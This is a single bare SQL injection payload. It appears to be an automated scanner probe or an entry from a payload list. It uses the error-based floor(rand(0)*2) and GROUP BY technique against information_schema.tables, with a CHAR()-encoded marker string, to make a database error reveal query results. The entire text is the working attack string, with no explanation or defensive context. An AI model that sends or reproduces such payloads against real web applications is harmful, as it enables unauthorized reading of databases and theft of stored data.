"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(116),CHAR(121),CHAR(113),CHAR(98),CHAR(105),CHAR(66),CHAR(56),CHAR(106)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"